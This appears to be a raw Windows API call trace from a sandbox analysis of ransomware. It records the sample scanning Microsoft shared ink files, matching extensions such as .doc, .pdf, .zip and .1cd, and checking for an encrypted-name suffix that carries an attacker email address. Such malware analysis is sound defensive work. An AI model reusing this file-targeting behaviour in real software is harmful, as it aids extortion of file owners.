	[0081.939] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0081.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70
	[0081.939] lstrlenW (lpString=".zip") returned 4
	[0081.939] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0081.939] lstrlenW (lpString=".rar") returned 4
	[0081.939] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0081.939] lstrlenW (lpString=".bz2") returned 4
	[0081.940] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0081.940] lstrlenW (lpString=".7z") returned 3
	[0081.940] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0081.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70
	[0081.940] lstrlenW (lpString=".dbf") returned 4
	[0081.940] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0081.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70
	[0081.940] lstrlenW (lpString=".1cd") returned 4
	[0081.940] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0081.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70
	[0081.940] lstrlenW (lpString=".jpg") returned 4
	[0081.940] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0081.940] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0081.940] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0081.940] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0081.941] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=10752) returned 1
	[0081.941] CloseHandle (hObject=0x38c) returned 1
	[0081.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui")) returned 0x20
	[0081.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0081.941] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0081.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0081.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0081.941] lstrlenW (lpString=".doc") returned 4
	[0081.941] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0081.942] lstrlenW (lpString=".docx") returned 5
	[0081.942] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0081.942] lstrlenW (lpString=".pdf") returned 4
	[0081.942] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0081.942] lstrlenW (lpString=".xls") returned 4
	[0081.942] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0081.942] lstrlenW (lpString=".xlsx") returned 5
	[0081.942] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0081.942] lstrlenW (lpString=".ppt") returned 4
	[0081.942] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0081.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0081.942] lstrlenW (lpString=".zip") returned 4
	[0081.942] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0081.942] lstrlenW (lpString=".rar") returned 4
	[0081.942] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0081.942] lstrlenW (lpString=".bz2") returned 4
	[0081.942] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0081.942] lstrlenW (lpString=".7z") returned 3
	[0081.942] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0081.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0081.942] lstrlenW (lpString=".dbf") returned 4
	[0081.942] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0081.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0081.942] lstrlenW (lpString=".1cd") returned 4
	[0081.942] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0081.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0081.942] lstrlenW (lpString=".jpg") returned 4
	[0081.942] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0081.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0081.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0081.942] lstrlenW (lpString=".doc") returned 4
	[0081.942] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0081.942] lstrlenW (lpString=".docx") returned 5
	[0081.943] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0081.943] lstrlenW (lpString=".pdf") returned 4
	[0081.943] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0081.943] lstrlenW (lpString=".xls") returned 4
	[0081.943] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0081.943] lstrlenW (lpString=".xlsx") returned 5
	[0081.943] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0081.943] lstrlenW (lpString=".ppt") returned 4
	[0081.943] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0081.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0081.943] lstrlenW (lpString=".zip") returned 4
	[0081.943] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0081.943] lstrlenW (lpString=".rar") returned 4
	[0081.943] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0081.943] lstrlenW (lpString=".bz2") returned 4
	[0081.943] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0081.943] lstrlenW (lpString=".7z") returned 3
	[0081.943] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0081.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0081.943] lstrlenW (lpString=".dbf") returned 4
	[0081.943] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0081.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0081.943] lstrlenW (lpString=".1cd") returned 4
	[0081.943] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0081.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0081.943] lstrlenW (lpString=".jpg") returned 4
	[0081.943] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0081.943] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0081.944] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0081.944] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0081.944] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=9728) returned 1
	[0081.944] CloseHandle (hObject=0x38c) returned 1
	[0081.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20
	[0081.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0081.944] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0081.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0081.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0081.944] lstrlenW (lpString=".doc") returned 4
	[0081.944] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0081.944] lstrlenW (lpString=".docx") returned 5
	[0081.944] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0081.944] lstrlenW (lpString=".pdf") returned 4
	[0081.944] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0081.944] lstrlenW (lpString=".xls") returned 4
	[0081.944] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0081.945] lstrlenW (lpString=".xlsx") returned 5
	[0081.945] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0081.945] lstrlenW (lpString=".ppt") returned 4
	[0081.945] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0081.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0081.945] lstrlenW (lpString=".zip") returned 4
	[0081.945] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0081.945] lstrlenW (lpString=".rar") returned 4
	[0081.945] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0081.945] lstrlenW (lpString=".bz2") returned 4
	[0081.945] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0081.945] lstrlenW (lpString=".7z") returned 3
	[0081.945] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0081.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0081.945] lstrlenW (lpString=".dbf") returned 4
	[0081.945] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0081.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0081.945] lstrlenW (lpString=".1cd") returned 4
	[0081.945] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0081.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0081.945] lstrlenW (lpString=".jpg") returned 4
	[0081.945] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0081.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0081.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0081.945] lstrlenW (lpString=".doc") returned 4
	[0081.945] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0081.945] lstrlenW (lpString=".docx") returned 5
	[0081.945] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0081.945] lstrlenW (lpString=".pdf") returned 4
	[0081.945] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0081.945] lstrlenW (lpString=".xls") returned 4
	[0081.945] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0081.945] lstrlenW (lpString=".xlsx") returned 5
	[0081.946] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0081.946] lstrlenW (lpString=".ppt") returned 4
	[0081.946] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0081.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0081.946] lstrlenW (lpString=".zip") returned 4
	[0081.946] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0081.946] lstrlenW (lpString=".rar") returned 4
	[0081.946] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0081.946] lstrlenW (lpString=".bz2") returned 4
	[0081.946] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0081.946] lstrlenW (lpString=".7z") returned 3
	[0081.946] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0081.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0081.946] lstrlenW (lpString=".dbf") returned 4
	[0081.946] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0081.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0081.946] lstrlenW (lpString=".1cd") returned 4
	[0081.946] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0081.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0081.946] lstrlenW (lpString=".jpg") returned 4
	[0081.946] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0081.946] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0081.946] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0081.946] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0082.178] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=10240) returned 1
	[0082.195] CloseHandle (hObject=0x358) returned 1
	[0082.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui")) returned 0x20
	[0082.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0082.196] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0082.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72
	[0082.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72
	[0082.196] lstrlenW (lpString=".doc") returned 4
	[0082.196] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0082.196] lstrlenW (lpString=".docx") returned 5
	[0082.196] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0082.196] lstrlenW (lpString=".pdf") returned 4
	[0082.196] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0082.196] lstrlenW (lpString=".xls") returned 4
	[0082.196] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0082.196] lstrlenW (lpString=".xlsx") returned 5
	[0082.196] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0082.196] lstrlenW (lpString=".ppt") returned 4
	[0082.196] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0082.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72
	[0082.196] lstrlenW (lpString=".zip") returned 4
	[0082.196] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0082.196] lstrlenW (lpString=".rar") returned 4
	[0082.196] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0082.197] lstrlenW (lpString=".bz2") returned 4
	[0082.197] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0082.197] lstrlenW (lpString=".7z") returned 3
	[0082.197] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0082.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72
	[0082.197] lstrlenW (lpString=".dbf") returned 4
	[0082.197] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0082.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72
	[0082.197] lstrlenW (lpString=".1cd") returned 4
	[0082.197] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0082.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72
	[0082.197] lstrlenW (lpString=".jpg") returned 4
	[0082.197] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0082.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72
	[0082.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72
	[0082.197] lstrlenW (lpString=".doc") returned 4
	[0082.197] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0082.197] lstrlenW (lpString=".docx") returned 5
	[0082.197] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0082.197] lstrlenW (lpString=".pdf") returned 4
	[0082.197] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0082.197] lstrlenW (lpString=".xls") returned 4
	[0082.197] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0082.197] lstrlenW (lpString=".xlsx") returned 5
	[0082.197] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0082.197] lstrlenW (lpString=".ppt") returned 4
	[0082.197] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0082.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72
	[0082.197] lstrlenW (lpString=".zip") returned 4
	[0082.197] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0082.197] lstrlenW (lpString=".rar") returned 4
	[0082.197] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0082.198] lstrlenW (lpString=".bz2") returned 4
	[0082.198] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0082.198] lstrlenW (lpString=".7z") returned 3
	[0082.198] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0082.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72
	[0082.198] lstrlenW (lpString=".dbf") returned 4
	[0082.198] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0082.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72
	[0082.198] lstrlenW (lpString=".1cd") returned 4
	[0082.198] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0082.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72
	[0082.198] lstrlenW (lpString=".jpg") returned 4
	[0082.198] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0082.198] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0082.198] lstrlenW (lpString="IPSEventLogMsg.dll.mui") returned 22
	[0082.198] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0082.481] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=23040) returned 1
	[0082.482] CloseHandle (hObject=0x350) returned 1
	[0082.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui")) returned 0x20
	[0082.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0082.482] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0082.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0082.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0082.482] lstrlenW (lpString=".doc") returned 4
	[0082.482] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0082.482] lstrlenW (lpString=".docx") returned 5
	[0082.482] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0082.482] lstrlenW (lpString=".pdf") returned 4
	[0082.482] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0082.482] lstrlenW (lpString=".xls") returned 4
	[0082.482] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0082.482] lstrlenW (lpString=".xlsx") returned 5
	[0082.482] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0082.482] lstrlenW (lpString=".ppt") returned 4
	[0082.482] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0082.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0082.482] lstrlenW (lpString=".zip") returned 4
	[0082.482] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0082.482] lstrlenW (lpString=".rar") returned 4
	[0082.482] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0082.483] lstrlenW (lpString=".bz2") returned 4
	[0082.483] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0082.483] lstrlenW (lpString=".7z") returned 3
	[0082.483] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0082.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0082.483] lstrlenW (lpString=".dbf") returned 4
	[0082.483] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0082.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0082.483] lstrlenW (lpString=".1cd") returned 4
	[0082.483] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0082.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0082.483] lstrlenW (lpString=".jpg") returned 4
	[0082.483] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0082.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0082.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0082.483] lstrlenW (lpString=".doc") returned 4
	[0082.483] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0082.483] lstrlenW (lpString=".docx") returned 5
	[0082.483] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0082.483] lstrlenW (lpString=".pdf") returned 4
	[0082.483] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0082.483] lstrlenW (lpString=".xls") returned 4
	[0082.483] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0082.483] lstrlenW (lpString=".xlsx") returned 5
	[0082.483] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0082.483] lstrlenW (lpString=".ppt") returned 4
	[0082.483] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0082.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0082.483] lstrlenW (lpString=".zip") returned 4
	[0082.483] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0082.483] lstrlenW (lpString=".rar") returned 4
	[0082.483] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0082.484] lstrlenW (lpString=".bz2") returned 4
	[0082.484] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0082.484] lstrlenW (lpString=".7z") returned 3
	[0082.484] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0082.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0082.484] lstrlenW (lpString=".dbf") returned 4
	[0082.484] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0082.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0082.484] lstrlenW (lpString=".1cd") returned 4
	[0082.484] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0082.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79
	[0082.484] lstrlenW (lpString=".jpg") returned 4
	[0082.484] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0082.484] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0082.484] lstrlenW (lpString="mip.exe.mui") returned 11
	[0082.484] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
